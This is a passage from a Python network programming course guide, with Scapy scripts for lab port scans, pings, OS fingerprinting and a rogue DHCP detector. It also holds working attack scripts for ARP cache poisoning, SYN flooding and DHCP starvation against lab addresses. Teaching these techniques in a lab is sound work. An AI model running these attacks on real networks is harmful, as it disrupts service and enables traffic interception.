except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Defining the destination name/IP


#target = '172.16.1.2'
target = '172.16.1.3'

#Performing the scan


ans, unans = sr(IP(dst = target) / TCP(dport = [111, 135, 22], flags =
"FPU"), timeout = 5)

#The results based on closed ports


for sent, received in ans:
if received.haslayer(TCP) and str(received[TCP].flags) == "20":
print str(sent[TCP].dport) + " is closed!"
elif received.haslayer(ICMP) and str(received[ICMP].type) == "3":
print str(sent[TCP].dport) + " is filtered!"

#Handling unanswered packets


for sent in unans:
print str(sent[TCP].dport) + " is open/filtered!"

Page 168 of 185


169 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

'''
An attacker uses a TCP XMAS scan to determine if ports are closed on the
target machine. This scan type is accomplished by sending TCP segments
with the all flags sent in the packet header, generating packets that are
illegal based on RFC 793. The RFC 793 expected behavior is that any TCP
segment with an out-of-state Flag sent to an open port is discarded,
whereas segments with out-of-state flags sent to closed ports should be
handled with a RST in response.

Many operating systems, however, do not implement RFC 793 exactly and for
this reason FIN scans do not work as expected against these devices. Some
operating systems, like Microsoft Windows, send a RST packet in response
to any out-of-sync (or malformed) TCP segments received by a listening
socket (rather than dropping the packet via RFC 793), thus preventing an
attacker from distinguishing between open and closed ports.

Source: https://capec.mitre.org/data/definitions/303.html
'''

4.10. TCP Null Scan

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Defining the destination name/IP


#target = '172.16.1.2'
target = '172.16.1.3'

#Performing the scan

Page 169 of 185


170 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

ans, unans = sr(IP(dst = target) / TCP(sport = RandShort(), dport = [111,


135, 22], flags = 0, seq = 0), timeout = 5)

#The results based on closed ports


for sent, received in ans:
if received.haslayer(TCP) and str(received[TCP].flags) == "20":
print str(sent[TCP].dport) + " is closed!"
elif received.haslayer(ICMP) and str(received[ICMP].type) == "3":
print str(sent[TCP].dport) + " is filtered!"

#Handling unanswered packets


for sent in unans:
print str(sent[TCP].dport) + " is open/filtered!"

'''
An attacker uses a TCP NULL scan to determine if ports are closed on the
target machine. This scan type is accomplished by sending TCP segments
with no flags in the packet header, generating packets that are illegal
based on RFC 793. The RFC 793 expected behavior is that any TCP segment
with an out-of-state Flag sent to an open port is discarded, whereas
segments with out-of-state flags sent to closed ports should be handled
with a RST in response. This behavior should allow an attacker to scan for
closed ports by sending certain types of rule-breaking packets (out of
sync or disallowed by the TCB) and detect closed ports via RST packets.

Many operating systems, however, do not implement RFC 793 exactly and for
this reason NULL scans do not work as expected against these devices. Some
operating systems, like Microsoft Windows, send a RST packet in response
to any out-of-sync (or malformed) TCP segments received by a listening
socket (rather than dropping the packet via RFC 793), thus preventing an
attacker from distinguishing between open and closed ports.

Source: https://capec.mitre.org/data/definitions/304.html
'''

4.11. TCP Port Scan

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

Page 170 of 185


171 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Defining the destination name/IP


#target = '172.16.1.2'
target = '172.16.1.3'

#Performing the scan


ans, unans = sr(IP(dst = target) / TCP(flags = "S", dport = (1, 1024)),
timeout = 5, verbose = 0)

#The results, based on open/closed ports


#Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error
(secdev.org)
for sent, received in ans:
if received.haslayer(TCP) and str(received[TCP].flags) == "18":
print
print str(sent[TCP].dport) + " is OPEN!"
elif received.haslayer(ICMP) and str(received[ICMP].type) == "3":
print
print str(sent[TCP].dport) + " is filtered!"

#Handling unanswered packets


for sent in unans:
print str(sent[TCP].dport) + " is filtered!"

print "\nAll other ports are closed.\n"

4.12. ARP Ping

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception

Page 171 of 185


172 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Performing the ping - discovering hosts on a local Ethernet network


#ans, unans = srp(Ether(dst = "ff:ff:ff:ff:ff:ff") / ARP(pdst =
"172.16.1.0/24"), timeout = 5, iface = "enp0s3")

#ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )

#Using the builtin function


arping("172.16.1.*")

4.13. ICMP Ping

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Performing the ping


ans, unans = sr(IP(dst = "172.16.1.2-10") / ICMP(), timeout = 3, iface =
"enp0s3")

#The results
ans.summary(lambda(s,r): r.sprintf("%IP.src% is UP!"))

Page 172 of 185


173 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

4.14. TCP Ping

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Performing the ping


#In cases where ICMP echo requests are blocked, we can still use various
TCP Pings such as TCP SYN Ping.
#Any response to our probes will indicate a live host. Source: secdev.org
ans, unans = sr(IP(dst = "172.16.1.1-5") / TCP(dport = 111, flags = "S"),
timeout = 2, iface = "enp0s3")

#The results
ans.summary(lambda(s,r): r.sprintf("%IP.src% is UP!"))

4.15. UDP Ping

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

Page 173 of 185


174 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Performing the ping


#UDP Ping will produce ICMP Port unreachable errors from live hosts.
#Here you can pick any port which is most likely to be closed, such as
port 0.
ans, unans = sr(IP(dst = "172.16.1.1-5") / UDP(dport = 0), timeout = 5,
iface = "enp0s3")

#The results
ans.summary(lambda(s,r): r.sprintf("%IP.src% is UP!"))

4.16. Basic ARP Monitor

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

def arp_monitor(packet):
if ARP in packet and packet[ARP].op == 1: #ARP Request (who-has
...?)
return "ARP Request: Device " + packet[ARP].psrc + " asking
about: " + packet[ARP].pdst
elif ARP in packet and packet[ARP].op == 2: #ARP Reply (is-at ...)

Page 174 of 185


175 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

return "ARP Response: Device " + packet[ARP].hwsrc + " has


this address: " + packet[ARP].psrc

#Performing the monitoring


sniff(prn = arp_monitor, filter = "arp", count = 20, store = 0)

4.17. ARP Cache Poisoning

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Defining the destination (broadcast) MAC address


target = 'ff:ff:ff:ff:ff:ff'

#ARP cache poisoning


send(ARP(hwsrc = get_if_hwaddr("enp0s3"), psrc = '172.16.1.233', hwdst =
target, pdst = '172.16.1.3'), iface = "enp0s3")

Page 175 of 185


176 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

4.18. SYN Flooding

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Defining the target machine


target = '172.16.1.2'

#Defining the packet structure


packet = IP(dst = target) / TCP(sport = RandShort(), dport = 111, seq =
333, flags = "S")

#Sending the packet in a loop


srloop(packet, inter = 0.1, retry = 2, timeout = 5, count = 10000)

4.19. DHCP Starvation Windows Server

#!/usr/bin/env python

#Importing the necessary modules


import logging
import random
import subprocess

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

Page 176 of 185


177 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Setting network interface in promiscuous mode


subprocess.call(["ifconfig", "enp0s3", "promisc"], stdout = None, stderr =
None, shell = False)

#Scapy normally makes sure that replies come from the same IP address the
stimulus was sent to.
#But our DHCP packet is sent to the IP broadcast address (255.255.255.255)
and any answer packet will have the IP address of the replying DHCP server
as its source IP address (e.g. 192.168.1.111).
#Because these IP addresses don't match, we have to disable Scapy's check
with conf.checkIPaddr = False before sending the stimulus.
conf.checkIPaddr = False

#Defining the number of DHCP packets to be sent


pkt_no = 255

#Performing the DHCP starvation attack


#Generating entire DHCP sequence
def generate_dhcp_seq():
#Defining some DHCP parameters
x_id = random.randrange(1, 1000000)
hw = "00:00:5e" + str(RandMAC())[8:]
hw_str = mac2str(hw)
#print hw

#Assigning the .command() output of a captured DHCP DISCOVER packet to


a variable
dhcp_dis_pkt = Ether(dst = "ff:ff:ff:ff:ff:ff", src = hw) / IP(src =
"0.0.0.0", dst = "255.255.255.255") / UDP(sport = 68, dport = 67) /
BOOTP(op = 1, xid = x_id, chaddr = hw_str) / DHCP(options = [("message-
type", "discover"), ("end")])

#Sending the DISCOVER packet and catching the OFFER reply


#The first element of ans is the DISCOVER packet, the second is the
OFFER packet
ans, unans = srp(dhcp_dis_pkt, iface = "enp0s3", timeout = 2.5,
verbose = 0)

#The IP offered by the DHCP server to the client is extracted from the
received answer (OFFER)
offered_ip = ans[0][1][BOOTP].yiaddr

Page 177 of 185


178 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Assigning the .command() output of a captured DHCP REQUEST packet to


a variable
dhcp_req_pkt = Ether(dst="ff:ff:ff:ff:ff:ff", src = hw) / IP(src =
"0.0.0.0", dst = "255.255.255.255") / UDP(sport = 68, dport = 67) /
BOOTP(op = 1, xid = x_id, chaddr = hw_str) / DHCP(options = [("message-
type", "request"), ("requested_addr", offered_ip), ("end")])

#Sending the REQUEST for the offered IP address.


#The server will respond with a DHCP ACK and the IP address will be
leased.
srp(dhcp_req_pkt, iface = "enp0s3", timeout = 2.5, verbose = 0)

#Calling the function


try:
for iterate in range(0, int(pkt_no)):
generate_dhcp_seq()

except IndexError:
print "\nDone. No more addresses to steal! :)\n"

4.20. DHCP Starvation Cisco IOS

Cisco IOS DHCP Server configuration:

R1# configure terminal


R1(config)# service dhcp
R1(config)# ip dhcp pool Python
R1(dhcp-config)# network 172.16.1.0 255.255.255.0
R1(dhcp-config)# default-router 172.16.1.254
R1(dhcp-config)# dns-server 4.2.2.2
R1(dhcp-config)# domain-name example.com
R1(dhcp-config)# lease 1
R1(dhcp-config)# ip dhcp excluded-address 172.16.1.11 172.16.1.254

More information on configuring Cisco IOS DHCP Server on a router:

http://www.cisco.com/c/en/us/td/docs/ios-xml/ios/ipaddr_dhcp/configuration/12-4t/dhcp-
12-4t-book/config-dhcp-server.html

Page 178 of 185


179 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#!/usr/bin/env python

#Importing the necessary modules


import logging
import random
import subprocess

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Setting network interface in promiscuous mode


subprocess.call(["ifconfig", "enp0s3", "promisc"], stdout = None, stderr =
None, shell = False)

#Scapy normally makes sure that replies come from the same IP address the
stimulus was sent to.
#But our DHCP packet is sent to the IP broadcast address (255.255.255.255)
and any answer packet will have the IP address of the replying DHCP server
as its source IP address (e.g. 192.168.1.111).
#Because these IP addresses don't match, we have to disable Scapy's check
with conf.checkIPaddr = False before sending the stimulus.
conf.checkIPaddr = False

#Performing the DHCP starvation attack


def generate_dhcp_discover():
#Defining some DHCP parameters
x_id = random.randrange(1, 1000000)
#print x_id

#Assigning the .command() output of a captured DHCP DISCOVER packet to


a variable
dhcp_dis_pkt = Ether(dst = "ff:ff:ff:ff:ff:ff", src = RandMAC()) /
IP(src = "0.0.0.0", dst = "255.255.255.255") / UDP(sport = 68, dport = 67)
/ BOOTP(op = 1, xid = x_id, chaddr = RandMAC()) / DHCP(options =
[("message-type", "discover"), ("end")])

#Sending the DISCOVER packet forever


sendp(dhcp_dis_pkt, iface = "enp0s3", loop = 1, verbose = 0)

#Calling the function


generate_dhcp_discover()

Page 179 of 185


180 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

4.21. Rogue DHCP Server Detector

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Setting the checkIPaddr parameter to False


conf.checkIPaddr = False

#Getting the hardware address


hw = get_if_raw_hwaddr("enp0s3")[1]

#Creating the DHCP Discover packet


dhcp_discover = Ether(dst = "ff:ff:ff:ff:ff:ff") / IP(src = "0.0.0.0", dst
= "255.255.255.255") / UDP(sport = 68, dport = 67) / BOOTP(chaddr = hw) /
DHCP(options = [("message-type", "discover"), "end"])

#Sending the Discover packet and accepting multiple answers for the same
Discover packet
ans, unans = srp(dhcp_discover, multi = True, iface = "enp0s3", timeout =
5, verbose = 0)

#Defining a dictionary to store mac-ip pairs


mac_ip = {}
for reply in ans:
mac_ip[reply[1][Ether].src] = reply[1][IP].src

#Printing the results


print "\nActive DHCP servers currently residing on your LAN:\n"

for mac, ip in mac_ip.iteritems():


print "IP Address: %s, MAC Address: %s\n" % (ip, mac)

Page 180 of 185


181 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

4.22. Basic NMAP Application

Logical Flow Diagram

Page 181 of 185


182 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Defining the destination names/IPs and ports and the exiting interface
targets = ['172.16.1.2', '172.16.1.3', '172.16.1.150', '172.16.1.100']
ports = [50743, 111, 135, 22]
interface = "enp0s3"

#Defining the TCP scan function


def tcp_scan(target, port):
#Creating a list for the open ports
open_ports = []
#Performing the scan - multiple ports
ans, unans = sr(IP(dst = target) / TCP(sport = RandShort(), dport =
port, flags = "S"), timeout = 2, iface = interface, verbose = 0)

#The results, based on open/closed ports


for sent, received in ans:
if received.haslayer(TCP) and str(received[TCP].flags) ==
"18":
print str(sent[TCP].dport) + " is OPEN!"
open_ports.append(int(sent[TCP].dport))
elif received.haslayer(TCP) and str(received[TCP].flags) ==
"20":
print str(sent[TCP].dport) + " is closed!"
elif received.haslayer(ICMP) and str(received[ICMP].type) ==
"3":
print str(sent[TCP].dport) + " is filtered!"

#Handling unanswered packets


for sent in unans:
print str(sent[TCP].dport) + " is filtered!"

return open_ports

Page 182 of 185


183 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Checking hosts via ICMP


def icmp_scan():
for target in targets:
ping_reply = srp1(Ether() / IP(dst = target) / ICMP(), timeout
= 2, iface = interface, verbose = 0)

if str(type(ping_reply)) == "<type 'NoneType'>" or


ping_reply.getlayer(ICMP).type == "3":
print
print "\n---> Host with IP address %s is down or
unreachable." % target
print
else:
print "\n\n---> Host with IP address %s and MAC address
%s is up." % (target, ping_reply[Ether].src)

print "\nTCP Ports:\n"


#Calling the TCP scanning function
open_ports = tcp_scan(target, ports)

if len(open_ports) > 0:
pkt = sr1(IP(dst = target) / TCP(dport =
open_ports[0], flags = "S"), timeout = 2, iface = interface, verbose = 0)
ttl = str(pkt[IP].ttl)
window = str(pkt[TCP].window)
#print ttl, window

#Identifying the host OS based on the TTL and


Window Size values in 'pkt'
if ttl == "128" and window == "65535":
print "\nGuessing OS type... Windows XP.\n"
elif ttl == "128" and window == "16384":
print "\nGuessing OS type... Windows
2000/Server 2003.\n"
elif ttl == "128" and window == "8192":
print "\nGuessing OS type... Windows
7/Vista/Server 2008.\n"
elif ttl == "64" and window == "5840":
print "\nGuessing OS type... Linux Kernel
2.x.\n"
elif ttl == "64" and window == "14600":
print "\nGuessing OS type... Linux Kernel
3.x.\n"
elif ttl == "64" and window == "65535":
print "\nGuessing OS type... FreeBSD.\n"
elif ttl == "64" and window == "5720":
print "Guessing OS type... Chrome
OS/Android.\n"
elif ttl == "255" and window == "4128":
print "Guessing OS type... Cisco IOS 12.4.\n"
elif ttl == "64" and window == "65535":
print "Guessing OS type... MAC OS.\n"
else:

Page 183 of 185


184 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

print "Cannot detect host OS --> no open ports


found."

#Running the function


icmp_scan()

Page 184 of 185


185 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

I really hope you found this course application guide useful for your networking needs
and, again, thank you for purchasing my Python Network Programming course series!

To stay updated with the latest news and courses in the networking and network
programming world, you have several options:

Follow me on Twitter:

https://twitter.com/MihaiCTeodosiu

and/or:

Join my Python Network Programming LinkedIn Group:

https://www.linkedin.com/groups/8313392

and/or:

Subscribe to my YouTube channel:

https://www.youtube.com/c/MihaiCatalinTeodosiu

and/or:

Subscribe to my student email list:

http://trendelearning.com/wp/homepage/subscribe/

Have no fear, Im not going to spam you with junk e-mails. If I have great content to share
or a huge special offer for my courses, I will send it your way. Otherwise, you wont hear
from me just for the sake of it.

Best regards!

Page 185 of 185

Vous aimerez peut-être aussi